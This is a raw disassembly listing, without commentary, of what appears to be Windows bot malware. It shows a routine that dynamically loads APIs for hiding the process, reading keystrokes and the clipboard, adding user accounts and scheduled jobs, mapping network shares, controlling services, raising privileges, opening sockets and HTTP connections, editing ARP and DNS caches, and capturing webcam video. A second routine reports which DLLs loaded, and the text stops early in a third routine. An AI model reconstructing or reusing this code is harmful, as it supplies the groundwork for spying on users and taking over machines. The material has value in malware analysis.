push edi
mov dword_44B5E0, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_44B58C, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_44B5BC, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_44B630, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_44B720, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_44B77C, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_44B5EC, eax
call esi
cmp dword_44B76C, ebx
mov dword_44B5D4, eax
jz short loc_408988
cmp dword_44B6E0, ebx
jz short loc_408988
cmp dword_44B6C4, ebx
jz short loc_408988
cmp dword_44B5E0, ebx
jz short loc_408988
cmp dword_44B5BC, ebx
jz short loc_408988
cmp dword_44B630, ebx
jz short loc_408988
cmp dword_44B720, ebx
jz short loc_408988
cmp dword_44B77C, ebx
jz short loc_408988
cmp dword_44B5EC, ebx
jz short loc_408988
cmp eax, ebx
jnz short loc_408992
loc_408988: ; CODE XREF: sub_40888A+B8j
; sub_40888A+C0j ...
mov dword_44B780, 1
loc_408992: ; CODE XREF: sub_40888A+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_44B6F8, eax
jz short loc_4089BF
push 1
push ebx
call eax
jmp short loc_4089BF
; ---------------------------------------------------------------------------
loc_4089AA: ; CODE XREF: sub_40888A+1Dj
call ds:dword_4942F0
mov dword_44B784, eax
mov dword_44B780, 1
loc_4089BF: ; CODE XREF: sub_40888A+117j
; sub_40888A+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_49434C
mov edi, eax
cmp edi, ebx
jz loc_408AD4
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_44B71C, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_44B6CC, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_44B660, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_44B770, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_44B690, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_44B6B0, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_44B714, eax
call esi
cmp dword_44B71C, ebx
mov dword_44B608, eax
jz short loc_408A78
cmp dword_44B6CC, ebx
jz short loc_408A78
cmp dword_44B660, ebx
jz short loc_408A78
cmp dword_44B770, ebx
jz short loc_408A78
cmp dword_44B690, ebx
jz short loc_408A78
cmp dword_44B6B0, ebx
jz short loc_408A78
cmp dword_44B714, ebx
jz short loc_408A78
cmp eax, ebx
jnz short loc_408A82
loc_408A78: ; CODE XREF: sub_40888A+1B8j
; sub_40888A+1C0j ...
mov dword_44B788, 1
loc_408A82: ; CODE XREF: sub_40888A+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_44B68C, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_44B5A0, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_44B65C, eax
call esi
cmp dword_44B68C, ebx
mov dword_44B648, eax
jz short loc_408ADF
cmp dword_44B5A0, ebx
jz short loc_408ADF
cmp dword_44B65C, ebx
jz short loc_408ADF
cmp eax, ebx
jnz short loc_408AE9
jmp short loc_408ADF
; ---------------------------------------------------------------------------
loc_408AD4: ; CODE XREF: sub_40888A+144j
call ds:dword_4942F0
mov dword_44B78C, eax
loc_408ADF: ; CODE XREF: sub_40888A+232j
; sub_40888A+23Aj ...
mov dword_44B788, 1
loc_408AE9: ; CODE XREF: sub_40888A+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_408C84
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_44B730, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_44B674, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_44B6E4, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_44B5CC, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_44B62C, eax
call esi
cmp dword_44B730, ebx
mov dword_44B69C, eax
jz short loc_408B74
cmp dword_44B674, ebx
jz short loc_408B74
cmp dword_44B6E4, ebx
jz short loc_408B74
cmp dword_44B5CC, ebx
jz short loc_408B74
cmp dword_44B62C, ebx
jz short loc_408B74
cmp eax, ebx
jnz short loc_408B7E
loc_408B74: ; CODE XREF: sub_40888A+2C4j
; sub_40888A+2CCj ...
mov dword_44B790, 1
loc_408B7E: ; CODE XREF: sub_40888A+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_44B6A4, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_44B67C, eax
call esi
cmp dword_44B6A4, ebx
mov dword_44B72C, eax
jz short loc_408BB9
cmp dword_44B67C, ebx
jz short loc_408BB9
cmp eax, ebx
jnz short loc_408BC3
loc_408BB9: ; CODE XREF: sub_40888A+321j
; sub_40888A+329j
mov dword_44B790, 1
loc_408BC3: ; CODE XREF: sub_40888A+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_44B6B4, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_44B5A8, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_44B5B0, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_44B610, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_44B614, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_44B5C4, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_44B680, eax
call esi
cmp dword_44B6B4, ebx
mov dword_44B5B4, eax
jz short loc_408C67
cmp dword_44B5A8, ebx
jz short loc_408C67
cmp dword_44B5B0, ebx
jz short loc_408C67
cmp dword_44B610, ebx
jz short loc_408C67
cmp dword_44B614, ebx
jz short loc_408C67
cmp dword_44B5C4, ebx
jz short loc_408C67
cmp dword_44B680, ebx
jz short loc_408C67
cmp eax, ebx
jnz short loc_408C71
loc_408C67: ; CODE XREF: sub_40888A+3A7j
; sub_40888A+3AFj ...
mov dword_44B790, 1
loc_408C71: ; CODE XREF: sub_40888A+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_44B5AC, eax
jnz short loc_408C99
jmp short loc_408C8F
; ---------------------------------------------------------------------------
loc_408C84: ; CODE XREF: sub_40888A+26Aj
call ds:dword_4942F0
mov dword_44B794, eax
loc_408C8F: ; CODE XREF: sub_40888A+3F8j
mov dword_44B790, 1
loc_408C99: ; CODE XREF: sub_40888A+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_408D65
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_44B6AC, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_44B704, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_44B70C, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_44B6C8, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_44B5F0, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_44B59C, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_44B708, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_44B588, eax
call esi
cmp dword_44B6AC, ebx
mov dword_44B624, eax
jz short loc_408D70
cmp dword_44B704, ebx
jz short loc_408D70
cmp dword_44B70C, ebx
jz short loc_408D70
cmp dword_44B6C8, ebx
jz short loc_408D70
cmp dword_44B5F0, ebx
jz short loc_408D70
cmp dword_44B59C, ebx
jz short loc_408D70
cmp dword_44B708, ebx
jz short loc_408D70
cmp dword_44B588, ebx
jz short loc_408D70
cmp eax, ebx
jnz short loc_408D7A
jmp short loc_408D70
; ---------------------------------------------------------------------------
loc_408D65: ; CODE XREF: sub_40888A+41Aj
call ds:dword_4942F0
mov dword_44B79C, eax
loc_408D70: ; CODE XREF: sub_40888A+49Bj
; sub_40888A+4A3j ...
mov dword_44B798, 1
loc_408D7A: ; CODE XREF: sub_40888A+4D7j
mov ebp, ds:dword_49434C
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409036
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_44B638, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_44B764, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_44B5DC, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_44B5B8, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_44B66C, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_44B654, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_44B620, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_44B740, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_44B75C, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_44B668, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_44B74C, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_44B700, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_44B6C0, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_44B6BC, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_44B5FC, eax
call esi
push offset aSend ; "send"
push edi
mov dword_44B5F4, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_44B710, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_44B724, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_44B6D8, eax
call esi
mov dword_44B698, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_44B6EC, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_44B6A8, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_44B6E8, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_44B754, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_44B6A0, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_44B664, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_44B6D4, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_44B744, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_44B678, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_44B61C, eax
call esi
cmp dword_44B638, ebx
mov dword_44B758, eax
jz loc_409041
cmp dword_44B764, ebx
jz loc_409041
cmp dword_44B5DC, ebx
jz loc_409041
cmp dword_44B66C, ebx
jz loc_409041
cmp dword_44B654, ebx
jz loc_409041
cmp dword_44B620, ebx
jz loc_409041
cmp dword_44B740, ebx
jz loc_409041
cmp dword_44B75C, ebx
jz loc_409041
cmp dword_44B668, ebx
jz loc_409041
cmp dword_44B74C, ebx
jz loc_409041
cmp dword_44B700, ebx
jz loc_409041
cmp dword_44B6C0, ebx
jz loc_409041
cmp dword_44B6BC, ebx
jz loc_409041
cmp dword_44B5FC, ebx
jz short loc_409041
cmp dword_44B710, ebx
jz short loc_409041
cmp dword_44B724, ebx
jz short loc_409041
cmp dword_44B6D8, ebx
jz short loc_409041
cmp dword_44B698, ebx
jz short loc_409041
cmp dword_44B6EC, ebx
jz short loc_409041
cmp dword_44B6A8, ebx
jz short loc_409041
cmp dword_44B6E8, ebx
jz short loc_409041
cmp dword_44B754, ebx
jz short loc_409041
cmp dword_44B6A0, ebx
jz short loc_409041
cmp dword_44B664, ebx
jz short loc_409041
cmp dword_44B6D4, ebx
jz short loc_409041
cmp dword_44B744, ebx
jz short loc_409041
cmp dword_44B678, ebx
jz short loc_409041
cmp eax, ebx
jnz short loc_40904B
jmp short loc_409041
; ---------------------------------------------------------------------------
loc_409036: ; CODE XREF: sub_40888A+501j
call ds:dword_4942F0
mov dword_44B7A4, eax
loc_409041: ; CODE XREF: sub_40888A+6A0j
; sub_40888A+6ACj ...
mov dword_44B7A0, 1
loc_40904B: ; CODE XREF: sub_40888A+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409150
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_44B604, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_44B590, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_44B688, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_44B63C, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_44B694, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_44B658, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_44B5D0, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_44B5C8, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_44B5D8, eax
call esi
cmp dword_44B604, ebx
mov ecx, dword_44B658
mov dword_44B6F4, eax
jz short loc_40912C
cmp dword_44B590, ebx
jz short loc_40912C
cmp dword_44B688, ebx
jz short loc_40912C
cmp dword_44B63C, ebx
jz short loc_40912C
cmp dword_44B694, ebx
jz short loc_40912C
cmp ecx, ebx
jz short loc_40912C
cmp dword_44B5D0, ebx
jz short loc_40912C
cmp dword_44B5C8, ebx
jz short loc_40912C
cmp dword_44B5D8, ebx
jz short loc_40912C
cmp eax, ebx
jnz short loc_409136
loc_40912C: ; CODE XREF: sub_40888A+860j
; sub_40888A+868j ...
mov dword_44B7A8, 1
loc_409136: ; CODE XREF: sub_40888A+8A0j
cmp ecx, ebx
jz short loc_40916B
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_44B670, eax
jnz short loc_40916B
jmp short loc_409165
; ---------------------------------------------------------------------------
loc_409150: ; CODE XREF: sub_40888A+7CCj
call ds:dword_4942F0
mov dword_44B7AC, eax
mov dword_44B7A8, 1
loc_409165: ; CODE XREF: sub_40888A+8C4j
mov dword_44B670, ebx
loc_40916B: ; CODE XREF: sub_40888A+8AEj
; sub_40888A+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_4091B5
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_44B64C, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_44B778, eax
call esi
cmp dword_44B64C, ebx
mov dword_44B5E4, eax
jz short loc_4091C0
cmp dword_44B778, ebx
jz short loc_4091C0
cmp eax, ebx
jnz short loc_4091CA
jmp short loc_4091C0
; ---------------------------------------------------------------------------
loc_4091B5: ; CODE XREF: sub_40888A+8ECj
call ds:dword_4942F0
mov dword_44B7B4, eax
loc_4091C0: ; CODE XREF: sub_40888A+91Bj
; sub_40888A+923j ...
mov dword_44B7B0, 1
loc_4091CA: ; CODE XREF: sub_40888A+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_4092C0
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_44B5C0, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_44B598, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_44B60C, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_44B640, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_44B750, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_44B5F8, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_44B5A4, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_44B594, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_44B628, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_44B718, eax
call esi
cmp dword_44B5C0, ebx
mov dword_44B6D0, eax
jz short loc_4092CB
cmp dword_44B598, ebx
jz short loc_4092CB
cmp dword_44B60C, ebx
jz short loc_4092CB
cmp dword_44B640, ebx
jz short loc_4092CB
cmp dword_44B750, ebx
jz short loc_4092CB
cmp dword_44B5F8, ebx
jz short loc_4092CB
cmp dword_44B5A4, ebx
jz short loc_4092CB
cmp dword_44B594, ebx
jz short loc_4092CB
cmp dword_44B628, ebx
jz short loc_4092CB
cmp dword_44B718, ebx
jz short loc_4092CB
cmp eax, ebx
jnz short loc_4092D5
jmp short loc_4092CB
; ---------------------------------------------------------------------------
loc_4092C0: ; CODE XREF: sub_40888A+94Bj
call ds:dword_4942F0
mov dword_44B7BC, eax
loc_4092CB: ; CODE XREF: sub_40888A+9E6j
; sub_40888A+9EEj ...
mov dword_44B7B8, 1
loc_4092D5: ; CODE XREF: sub_40888A+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40930A
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_44B5E8, eax
call esi
cmp dword_44B5E8, ebx
mov dword_44B6B8, eax
jz short loc_409315
cmp eax, ebx
jnz short loc_40931F
jmp short loc_409315
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_40888A+A56j
call ds:dword_4942F0
mov dword_44B7C4, eax
loc_409315: ; CODE XREF: sub_40888A+A78j
; sub_40888A+A7Ej
mov dword_44B7C0, 1
loc_40931F: ; CODE XREF: sub_40888A+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_409354
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_44B73C, eax
call esi
cmp dword_44B73C, ebx
mov dword_44B738, eax
jz short loc_40935F
cmp eax, ebx
jnz short loc_409369
jmp short loc_40935F
; ---------------------------------------------------------------------------
loc_409354: ; CODE XREF: sub_40888A+AA0j
call ds:dword_4942F0
mov dword_44B7CC, eax
loc_40935F: ; CODE XREF: sub_40888A+AC2j
; sub_40888A+AC8j
mov dword_44B7C8, 1
loc_409369: ; CODE XREF: sub_40888A+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_4093C8
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_44B768, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_44B760, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_44B728, eax
call esi
cmp dword_44B768, ebx
mov dword_44B600, eax
jz short loc_4093D3
cmp dword_44B760, ebx
jz short loc_4093D3
cmp dword_44B728, ebx
jz short loc_4093D3
cmp eax, ebx
jnz short loc_4093DD
jmp short loc_4093D3
; ---------------------------------------------------------------------------
loc_4093C8: ; CODE XREF: sub_40888A+AEAj
call ds:dword_4942F0
mov dword_44B7D4, eax
loc_4093D3: ; CODE XREF: sub_40888A+B26j
; sub_40888A+B2Ej ...
mov dword_44B7D0, 1
loc_4093DD: ; CODE XREF: sub_40888A+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_409412
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_44B634, eax
call esi
cmp dword_44B634, ebx
mov dword_44B734, eax
jz short loc_40941D
cmp eax, ebx
jnz short loc_409427
jmp short loc_40941D
; ---------------------------------------------------------------------------
loc_409412: ; CODE XREF: sub_40888A+B5Ej
call ds:dword_4942F0
mov dword_44B7DC, eax
loc_40941D: ; CODE XREF: sub_40888A+B80j
; sub_40888A+B86j
mov dword_44B7D8, 1
loc_409427: ; CODE XREF: sub_40888A+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_4094B0
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_44B6FC, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_44B748, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_44B684, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_44B644, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_44B6DC, eax
call esi
cmp dword_44B6FC, ebx
mov dword_44B650, eax
jz short loc_4094BB
cmp dword_44B748, ebx
jz short loc_4094BB
cmp dword_44B684, ebx
jz short loc_4094BB
cmp dword_44B644, ebx
jz short loc_4094BB
cmp dword_44B6DC, ebx
jz short loc_4094BB
cmp eax, ebx
jnz short loc_4094C5
jmp short loc_4094BB
; ---------------------------------------------------------------------------
loc_4094B0: ; CODE XREF: sub_40888A+BA8j
call ds:dword_4942F0
mov dword_44B7E4, eax
loc_4094BB: ; CODE XREF: sub_40888A+BFEj
; sub_40888A+C06j ...
mov dword_44B7E0, 1
loc_4094C5: ; CODE XREF: sub_40888A+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_4094FA
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_44B618, eax
call esi
cmp dword_44B618, ebx
mov dword_44B6F0, eax
jz short loc_409505
cmp eax, ebx
jnz short loc_40950F
jmp short loc_409505
; ---------------------------------------------------------------------------
loc_4094FA: ; CODE XREF: sub_40888A+C46j
call ds:dword_4942F0
mov dword_44B7EC, eax
loc_409505: ; CODE XREF: sub_40888A+C68j
; sub_40888A+C6Ej
mov dword_44B7E8, 1
loc_40950F: ; CODE XREF: sub_40888A+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40888A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409517 proc near ; CODE XREF: sub_40C50A+57AFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_44B780, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40955F
push dword_44B784
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_40955F: ; CODE XREF: sub_409517+1Aj
cmp dword_44B788, esi
jz short loc_409593
push dword_44B78C
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_409593: ; CODE XREF: sub_409517+4Ej
cmp dword_44B790, esi
jz short loc_4095C7
push dword_44B794
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_4095C7: ; CODE XREF: sub_409517+82j
cmp dword_44B798, esi
jz short loc_4095FB
push dword_44B79C
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_4095FB: ; CODE XREF: sub_409517+B6j
cmp dword_44B7A0, esi
jz short loc_40962F
push dword_44B7A4
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_40962F: ; CODE XREF: sub_409517+EAj
cmp dword_44B7A8, esi
jz short loc_409663
push dword_44B7AC
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_409663: ; CODE XREF: sub_409517+11Ej
cmp dword_44B7B0, esi
jz short loc_409697
push dword_44B7B4
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_409697: ; CODE XREF: sub_409517+152j
cmp dword_44B7B8, esi
jz short loc_4096CB
push dword_44B7BC
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_4096CB: ; CODE XREF: sub_409517+186j
cmp dword_44B7C0, esi
jz short loc_4096FF
push dword_44B7C4
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_4096FF: ; CODE XREF: sub_409517+1BAj
cmp dword_44B7C8, esi
jz short loc_409733
push dword_44B7CC
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_409733: ; CODE XREF: sub_409517+1EEj
cmp dword_44B7D0, esi
jz short loc_409767
push dword_44B7D4
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_409767: ; CODE XREF: sub_409517+222j
cmp dword_44B7D8, esi
jz short loc_40979B
push dword_44B7DC
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_40979B: ; CODE XREF: sub_409517+256j
cmp dword_44B7E0, esi
jz short loc_4097CF
push dword_44B7E4
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_4097CF: ; CODE XREF: sub_409517+28Aj
cmp dword_44B7E8, esi
jz short loc_409803
push dword_44B7EC
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 20h
loc_409803: ; CODE XREF: sub_409517+2BEj
lea eax, [ebp+var_200]
push offset aMainDllTestCom ; "[MAIN]: DLL test complete."
push eax
call sub_418D70
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_409830
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_409830: ; CODE XREF: sub_409517+302j
lea eax, [ebp+var_200]
push eax
call sub_4035E1
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_409517 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409842 proc near ; CODE XREF: sub_40C50A+BD5p
; sub_40C50A+C09p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
